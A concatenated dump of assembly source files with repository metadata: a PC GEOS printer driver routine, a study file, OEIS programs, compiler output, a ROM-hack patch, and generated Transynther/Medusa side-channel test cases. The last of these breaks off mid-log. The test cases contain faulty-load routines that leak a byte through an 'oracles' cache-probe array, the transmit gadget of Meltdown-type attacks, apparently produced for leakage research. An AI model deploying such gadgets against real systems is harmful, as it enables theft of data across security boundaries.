Driver/Printer/PrintCom/Cursor/cursorSetCursorAbsRedwood.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 504
|
2018-11-18T03:35:53.000Z
|
2022-03-29T01:02:51.000Z
|
Driver/Printer/PrintCom/Cursor/cursorSetCursorAbsRedwood.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 96
|
2018-11-19T21:06:50.000Z
|
2022-03-06T10:26:48.000Z
|
Driver/Printer/PrintCom/Cursor/cursorSetCursorAbsRedwood.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 73
|
2018-11-19T20:46:53.000Z
|
2022-03-29T00:59:26.000Z
|
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) Berkeley Softworks 1993 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: print drivers
FILE: cursorSetCursorAbsRedwood.asm
AUTHOR: Dave Durran
ROUTINES:
Name Description
---- -----------
REVISION HISTORY:
Name Date Description
---- ---- -----------
Dave 2/9/93 Initial revision
DESCRIPTION:
The cursor position is kept in 2 words: integer 360ths in Y
and integer 360ths in X
$Id: cursorSetCursorAbsRedwood.asm,v 1.1 97/04/18 11:49:47 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PrintSetCursor
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS:
sets the new cursor position in the PSTATE and moves the printhead
to the new position.
The resolution for positioning the printhead is based on the current
character pitch, as the routine uses tabs to position the printhead
in the X direction.
The printhead can be moved in either direction in X, but only down the
page (increasing Y).
CALLED BY:
EXTERNAL
PASS:
bp - Segment of PSTATE
cx.si - WWFixed new X position in points
dx.ax - WWFixed new Y position in points
RETURN:
carry - set if some communications problem
DESTROYED:
PSEUDO CODE/STRATEGY:
1 if desired position is below the current one, do y positioning
2 do X positioning
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Dave 2/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
PrintSetCursor proc far
uses si,es
.enter
mov es,bp ;get PSTATE segment.
call PrintMoveInYOnly
call PrintMoveInXOnly
exit:
.leave
ret
PrintSetCursor endp
| 22.284091
| 79
| 0.556349
|
b29ab69ac58f85e6b75dfe8a9b1a1faf24918848
| 259
|
asm
|
Assembly
|
basic/07.print_string.asm
|
boa9448/assembly_study
|
8416d10b3abce6c3b4b8bd0a11be7d9a05ea486a
|
[
"MIT"
] | null | null | null |
basic/07.print_string.asm
|
boa9448/assembly_study
|
8416d10b3abce6c3b4b8bd0a11be7d9a05ea486a
|
[
"MIT"
] | null | null | null |
basic/07.print_string.asm
|
boa9448/assembly_study
|
8416d10b3abce6c3b4b8bd0a11be7d9a05ea486a
|
[
"MIT"
] | null | null | null |
%include "io64.inc"
section .text
global CMAIN
CMAIN:
;write your code here
;PRINT_STRING param
;param : 출력할 곳의 주소
;문자열의 종료는 0x00으로 마무리해야한다
PRINT_STRING a
xor rax, rax
ret
section .data
a db "hello world!", 0x00
| 15.235294
| 29
| 0.617761
|
e48a585a4a1187df645f9f932123d64672c2cc83
| 454
|
asm
|
Assembly
|
programs/oeis/044/A044504.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/044/A044504.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/044/A044504.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
; A044504: Numbers n such that string 3,3 occurs in the base 6 representation of n but not of n+1.
; 21,57,93,131,165,201,237,273,309,347,381,417,453,489,525,563,597,633,669,705,741,791,813,849,885,921,957,995,1029,1065,1101,1137,1173,1211,1245,1281,1317,1353,1389,1427,1461,1497,1533,1569,1605,1643,1677,1713
mov $2,$0
mov $3,$0
add $0,3
gcd $0,6
lpb $0
div $0,2
sub $0,4
gcd $3,7
mov $1,$3
lpe
mul $1,2
add $1,21
mov $4,$2
mul $4,36
add $1,$4
| 23.894737
| 210
| 0.680617
|
4db83f082cc68858ef51fb55ae3aa9e8b4c9d223
| 2,967
|
asm
|
Assembly
|
autovectorization-tests/results/msvc19.28.29333-avx2/find_if.asm
|
clayne/toys
|
ec06411e2d3b920403607888d4a573e41390ee5b
|
[
"BSD-2-Clause"
] | null | null | null |
autovectorization-tests/results/msvc19.28.29333-avx2/find_if.asm
|
clayne/toys
|
ec06411e2d3b920403607888d4a573e41390ee5b
|
[
"BSD-2-Clause"
] | null | null | null |
autovectorization-tests/results/msvc19.28.29333-avx2/find_if.asm
|
clayne/toys
|
ec06411e2d3b920403607888d4a573e41390ee5b
|
[
"BSD-2-Clause"
] | null | null | null |
_x$ = 8 ; size = 4
bool <lambda_355cd7df3805993a6b4ad7ec46ef2f3e>::operator()(int)const PROC ; <lambda_355cd7df3805993a6b4ad7ec46ef2f3e>::operator(), COMDAT
mov eax, DWORD PTR _x$[esp-4]
cmp eax, 42 ; 0000002aH
je SHORT $LN3@operator
cmp eax, -1
je SHORT $LN3@operator
xor al, al
ret 4
$LN3@operator:
mov al, 1
ret 4
bool <lambda_355cd7df3805993a6b4ad7ec46ef2f3e>::operator()(int)const ENDP ; <lambda_355cd7df3805993a6b4ad7ec46ef2f3e>::operator()
_x$ = 8 ; size = 4
bool <lambda_4519141becf259366061de28318bbd69>::operator()(int)const PROC ; <lambda_4519141becf259366061de28318bbd69>::operator(), COMDAT
mov eax, DWORD PTR _x$[esp-4]
cmp eax, 42 ; 0000002aH
je SHORT $LN3@operator
cmp eax, -1
je SHORT $LN3@operator
xor al, al
ret 4
$LN3@operator:
mov al, 1
ret 4
bool <lambda_4519141becf259366061de28318bbd69>::operator()(int)const ENDP ; <lambda_4519141becf259366061de28318bbd69>::operator()
_v$ = 8 ; size = 4
bool find_if_epi32(std::vector<int,std::allocator<int> > const &) PROC ; find_if_epi32, COMDAT
mov ecx, DWORD PTR _v$[esp-4]
mov eax, DWORD PTR [ecx+4]
mov ecx, DWORD PTR [ecx]
cmp ecx, eax
je SHORT $LN36@find_if_ep
npad 3
$LL18@find_if_ep:
mov edx, DWORD PTR [ecx]
cmp edx, 42 ; 0000002aH
je SHORT $LN23@find_if_ep
cmp edx, -1
je SHORT $LN23@find_if_ep
add ecx, 4
cmp ecx, eax
jne SHORT $LL18@find_if_ep
$LN23@find_if_ep:
cmp ecx, eax
$LN36@find_if_ep:
setne al
ret 0
bool find_if_epi32(std::vector<int,std::allocator<int> > const &) ENDP ; find_if_epi32
_v$ = 8 ; size = 4
bool find_if_epi8(std::vector<signed char,std::allocator<signed char> > const &) PROC ; find_if_epi8, COMDAT
mov ecx, DWORD PTR _v$[esp-4]
mov eax, DWORD PTR [ecx+4]
mov ecx, DWORD PTR [ecx]
cmp ecx, eax
je SHORT $LN36@find_if_ep
npad 3
$LL18@find_if_ep:
movsx edx, BYTE PTR [ecx]
cmp edx, 42 ; 0000002aH
je SHORT $LN23@find_if_ep
cmp edx, -1
je SHORT $LN23@find_if_ep
inc ecx
cmp ecx, eax
jne SHORT $LL18@find_if_ep
$LN23@find_if_ep:
cmp ecx, eax
$LN36@find_if_ep:
setne al
ret 0
bool find_if_epi8(std::vector<signed char,std::allocator<signed char> > const &) ENDP ; find_if_epi8
| 39.039474
| 138
| 0.523761
|
4c1251b5ac77436797349b35763fd81cf81832ca
| 7,526
|
asm
|
Assembly
|
Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0xca_notsx.log_21829_226.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0xca_notsx.log_21829_226.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0xca_notsx.log_21829_226.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %rax
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0xdca5, %rbp
nop
nop
nop
nop
add %rax, %rax
vmovups (%rbp), %ymm1
vextracti128 $1, %ymm1, %xmm1
vpextrq $1, %xmm1, %rbx
nop
nop
cmp %rsi, %rsi
lea addresses_WC_ht+0x1e725, %rsi
lea addresses_A_ht+0x1819e, %rdi
clflush (%rsi)
nop
nop
nop
nop
add %r13, %r13
mov $74, %rcx
rep movsl
nop
nop
nop
nop
nop
add $10665, %r13
lea addresses_normal_ht+0x112a5, %rsi
lea addresses_UC_ht+0x1a2a5, %rdi
nop
nop
nop
nop
nop
sub %r11, %r11
mov $109, %rcx
rep movsl
nop
nop
nop
nop
nop
sub %rbp, %rbp
lea addresses_UC_ht+0x79a5, %r11
nop
nop
nop
nop
nop
xor %rdi, %rdi
mov (%r11), %rax
nop
nop
nop
nop
sub $50153, %rdi
lea addresses_A_ht+0x193a5, %rbp
nop
nop
nop
nop
nop
cmp $37473, %rbx
movw $0x6162, (%rbp)
and $10154, %rbp
lea addresses_WC_ht+0x49a5, %rbx
nop
nop
nop
nop
nop
and $41086, %rax
movw $0x6162, (%rbx)
nop
nop
nop
and %rbp, %rbp
lea addresses_UC_ht+0x1b4e9, %rsi
lea addresses_normal_ht+0x1dd5d, %rdi
nop
nop
nop
xor $39480, %r13
mov $15, %rcx
rep movsl
nop
nop
nop
inc %rdi
lea addresses_UC_ht+0x82a5, %rsi
lea addresses_WT_ht+0x7a65, %rdi
nop
nop
add $61142, %rbx
mov $27, %rcx
rep movsw
nop
nop
nop
nop
nop
xor %r11, %r11
lea addresses_WT_ht+0x1aea5, %rsi
lea addresses_WC_ht+0xb1ab, %rdi
nop
and %r13, %r13
mov $63, %rcx
rep movsb
nop
add %rbp, %rbp
lea addresses_D_ht+0x12aa5, %rbx
clflush (%rbx)
nop
add $63666, %r11
mov $0x6162636465666768, %rdi
movq %rdi, %xmm1
movups %xmm1, (%rbx)
nop
nop
nop
nop
nop
xor $33657, %r11
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %rax
pop %r13
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r15
push %r8
push %r9
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
// Load
lea addresses_WC+0x1bbed, %rsi
nop
nop
add %rcx, %rcx
movups (%rsi), %xmm1
vpextrq $1, %xmm1, %rbp
nop
nop
add $12951, %rbp
// Store
lea addresses_RW+0x1a191, %rbx
nop
nop
nop
nop
nop
xor $5973, %r15
mov $0x5152535455565758, %r9
movq %r9, %xmm3
vmovaps %ymm3, (%rbx)
sub $12832, %r9
// REPMOV
lea addresses_D+0x1eaa5, %rsi
lea addresses_RW+0xb0a5, %rdi
nop
nop
nop
sub $49915, %r15
mov $1, %rcx
rep movsl
cmp $14196, %r15
// Faulty Load
lea addresses_D+0x1eaa5, %r8
nop
nop
nop
nop
and $37377, %rcx
mov (%r8), %esi
lea oracles, %r8
and $0xff, %rsi
shlq $12, %rsi
mov (%r8,%rsi,1), %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r9
pop %r8
pop %r15
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': True, 'AVXalign': False, 'size': 16, 'congruent': 0, 'same': False, 'type': 'addresses_D'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 1, 'same': False, 'type': 'addresses_WC'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': True, 'size': 32, 'congruent': 0, 'same': False, 'type': 'addresses_RW'}, 'OP': 'STOR'}
{'src': {'congruent': 0, 'same': True, 'type': 'addresses_D'}, 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_RW'}, 'OP': 'REPM'}
[Faulty Load]
{'src': {'NT': True, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': True, 'type': 'addresses_D'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 7, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 7, 'same': False, 'type': 'addresses_WC_ht'}, 'dst': {'congruent': 0, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM'}
{'src': {'congruent': 10, 'same': False, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 11, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'}
{'src': {'NT': True, 'AVXalign': False, 'size': 8, 'congruent': 8, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 8, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 8, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'}
{'src': {'congruent': 0, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 3, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM'}
{'src': {'congruent': 10, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 6, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM'}
{'src': {'congruent': 1, 'same': False, 'type': 'addresses_WT_ht'}, 'dst': {'congruent': 1, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 11, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'STOR'}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
| 31.889831
| 2,999
| 0.658783
|
4f5d63bf9b07557c33f011e4c983d2771e198ac9
| 498
|
asm
|
Assembly
|
reference_asm/moving_asm.asm
|
tashiww/maten_tools
|
efaf43958639edfdcd342615f4c23ccba35d80ce
|
[
"MIT"
] | 1
|
2021-05-14T19:14:38.000Z
|
2021-05-14T19:14:38.000Z
|
reference_asm/moving_asm.asm
|
tashiww/maten_tools
|
efaf43958639edfdcd342615f4c23ccba35d80ce
|
[
"MIT"
] | null | null | null |
reference_asm/moving_asm.asm
|
tashiww/maten_tools
|
efaf43958639edfdcd342615f4c23ccba35d80ce
|
[
"MIT"
] | null | null | null |
; convert a relative LEA to absolute long LEA by first replacing the relative LEA with a
; relative BSR to somewhere with enough room to write the long LEA
; $B600 seems to have $10 empty bytes...
incbin "hax.md"
org $0000
; main menu
org $838a
BSR main_menu_lea
org $841e
; item sub-menu
BSR item_submenu_lea
org $8abe
BSR stat_submenu_lea
org $b600
main_menu_lea:
LEA $20F80, a0
RTS
item_submenu_lea:
LEA $20F99, a0
RTS
org $b740
stat_submenu_lea:
LEA $20FA7, a0
RTS
| 15.5625
| 88
| 0.7249
|
8980cee587d88bbab27e4fc80d81b946bb42f360
| 1,094
|
asm
|
Assembly
|
programs/oeis/047/A047336.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/047/A047336.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/047/A047336.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A047336: Numbers that are congruent to {1, 6} mod 7.
; 1,6,8,13,15,20,22,27,29,34,36,41,43,48,50,55,57,62,64,69,71,76,78,83,85,90,92,97,99,104,106,111,113,118,120,125,127,132,134,139,141,146,148,153,155,160,162,167,169,174,176,181,183,188,190,195,197,202,204,209,211,216,218,223,225,230,232,237,239,244,246,251,253,258,260,265,267,272,274,279,281,286,288,293,295,300,302,307,309,314,316,321,323,328,330,335,337,342,344,349,351,356,358,363,365,370,372,377,379,384,386,391,393,398,400,405,407,412,414,419,421,426,428,433,435,440,442,447,449,454,456,461,463,468,470,475,477,482,484,489,491,496,498,503,505,510,512,517,519,524,526,531,533,538,540,545,547,552,554,559,561,566,568,573,575,580,582,587,589,594,596,601,603,608,610,615,617,622,624,629,631,636,638,643,645,650,652,657,659,664,666,671,673,678,680,685,687,692,694,699,701,706,708,713,715,720,722,727,729,734,736,741,743,748,750,755,757,762,764,769,771,776,778,783,785,790,792,797,799,804,806,811,813,818,820,825,827,832,834,839,841,846,848,853,855,860,862,867,869,874
mov $1,32
add $1,$0
div $0,2
mul $0,3
mul $1,5
sub $1,$0
sub $1,159
| 99.454545
| 969
| 0.725777
|
012c36609073f6a7da1008330549d422d71b7e77
| 320
|
asm
|
Assembly
|
programs/oeis/103/A103532.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/103/A103532.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/103/A103532.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A103532: Number of divisors of 240^n.
; 1,20,81,208,425,756,1225,1856,2673,3700,4961,6480,8281,10388,12825,15616,18785,22356,26353,30800,35721,41140,47081,53568,60625,68276,76545,85456,95033,105300,116281,128000,140481,153748,167825,182736
mul $0,4
add $0,2
mov $2,$0
mov $3,$0
add $0,3
mul $2,$3
mul $0,$2
div $0,16
| 26.666667
| 201
| 0.73125
|
bfc892d7b275484016a2e579d3be1e3cd158c07d
| 5,416
|
asm
|
Assembly
|
Transynther/x86/_processed/AVXALIGN/_un_/i7-7700_9_0x48.log_21829_2641.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/AVXALIGN/_un_/i7-7700_9_0x48.log_21829_2641.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/AVXALIGN/_un_/i7-7700_9_0x48.log_21829_2641.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r13
push %r15
push %rbx
push %rcx
push %rdi
lea addresses_WC_ht+0x14033, %rdi
dec %r13
mov $0x6162636465666768, %rcx
movq %rcx, (%rdi)
nop
nop
nop
nop
nop
cmp $9130, %r10
lea addresses_WT_ht+0x63b3, %r15
nop
nop
nop
nop
nop
add $56618, %r12
movups (%r15), %xmm3
vpextrq $0, %xmm3, %rbx
nop
nop
nop
sub $20090, %rdi
lea addresses_normal_ht+0x2bf3, %r10
nop
nop
nop
add %r15, %r15
mov $0x6162636465666768, %r12
movq %r12, %xmm1
vmovups %ymm1, (%r10)
nop
nop
nop
cmp $17381, %rbx
lea addresses_UC_ht+0x19233, %rcx
nop
nop
nop
add %r10, %r10
movb $0x61, (%rcx)
nop
sub %rbx, %rbx
lea addresses_WC_ht+0x17633, %r10
nop
nop
nop
add %rcx, %rcx
movups (%r10), %xmm6
vpextrq $0, %xmm6, %r12
nop
nop
nop
nop
nop
inc %r15
lea addresses_A_ht+0xad9f, %r15
nop
nop
nop
nop
add %rdi, %rdi
mov (%r15), %bx
nop
nop
nop
nop
add $42443, %r13
pop %rdi
pop %rcx
pop %rbx
pop %r15
pop %r13
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %rax
push %rbp
push %rdi
push %rdx
// Faulty Load
mov $0xa33, %rdi
nop
add $17627, %r12
vmovntdqa (%rdi), %ymm6
vextracti128 $1, %ymm6, %xmm6
vpextrq $1, %xmm6, %rdx
lea oracles, %rbp
and $0xff, %rdx
shlq $12, %rdx
mov (%rbp,%rdx,1), %rdx
pop %rdx
pop %rdi
pop %rbp
pop %rax
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_P', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_P', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': True, 'NT': True}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 9, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 7, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 5, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 9, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 9, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 2, 'size': 2, 'same': False, 'NT': True}}
{'08': 11717, 'a0': 10, '72': 10043, '04': 59}
04 a0 04 04 04 04 a0 a0 a0 04 04 04 04 04 a0 04 a0 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 a0 04 04 04 04 04 04 04 04 a0 04 a0 04 04 04 04 04 04 04 04 04 04 a0 04 04 04 08 08 08 08 72 08 08 08 08 72 08 08 08 08 08 72 08 08 08 08 08 08 08 72 72 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 72 08 72 08 08 08 08 08 08 08 08 08 08 72 72 08 08 72 08 08 72 08 08 08 08 08 08 08 08 08 72 08 08 08 72 08 08 72 08 08 08 08 08 08 08 08 08 08 08 08 72 08 08 08 08 08 08 08 08 08 72 08 08 08 08 08 08 72 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 72 72 72 08 08 08 08 72 08 72 72 08 08 08 72 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 72 72 08 08 08 08 08 72 08 08 72 08 72 08 72 08 08 08 08 08 08 08 08 08 08 08 08 08 72 08 72 08 72 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 72 08 72 08 08 08 08 08 08 72 08 08 08 08 08 08 72 08 08 08 72 72 72 08 72 72 08 08 72 72 72 72 72 72 72 72 72 72 08 08 72 72 08 72 72 72 08 72 72 08 72 72 72 08 72 72 72 72 72 72 72 72 72 08 72 72 72 72 72 72 08 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 08 72 72 72 72 72 72 72 72 08 72 72 72 08 08 72 72 08 08 08 08 08 72 08 72 08 08 08 08 08 72 08 08 08 08 08 08 08 72 08 08 08 08 08 08 08 08 08 08 08 08 08 72 08 72 72 72 08 08 08 08 08 08 08 08 72 08 08 08 08 72 08 72 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 72 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 72 08 08 72 08 72 08 08 08 08 08 08 08 08 08 72 08 08 08 08 08 08 08 08 08 72 08 08 08 08 08 08 08 08 08 08 72 08 08 72 08 08 08 72 08 08 08 08 08 72 08 08 08 08 08 72 08 08 08 08 08 08 08 08 08 08 08 72 72 72 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 72 72 08 08 72 72 08 08 08 08 08 08 08 08 08 08 08 08 08 72 08 08 08 08 08 08 08 72 08 08 08 08 08 08 08 08 08 72 08 08 08 08 08 08 08 08 08 08 72 08 72 08 08 08 72 08 08 08 08 08 72 08 08 08 08 08 72 08 08 08 08 08 08 08 08 08 08 08 08 72 08 08 08 08 08 08 08 72 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 72 72 08 08 08 08 08 08 08 08 08 08 08 72 72 08 08 08 08 08 08 08 08 08 08 72 08 08 08 08 08 08 08 08 08 08 72 72 08 08 08 08 08 08 08 08 08 08 08 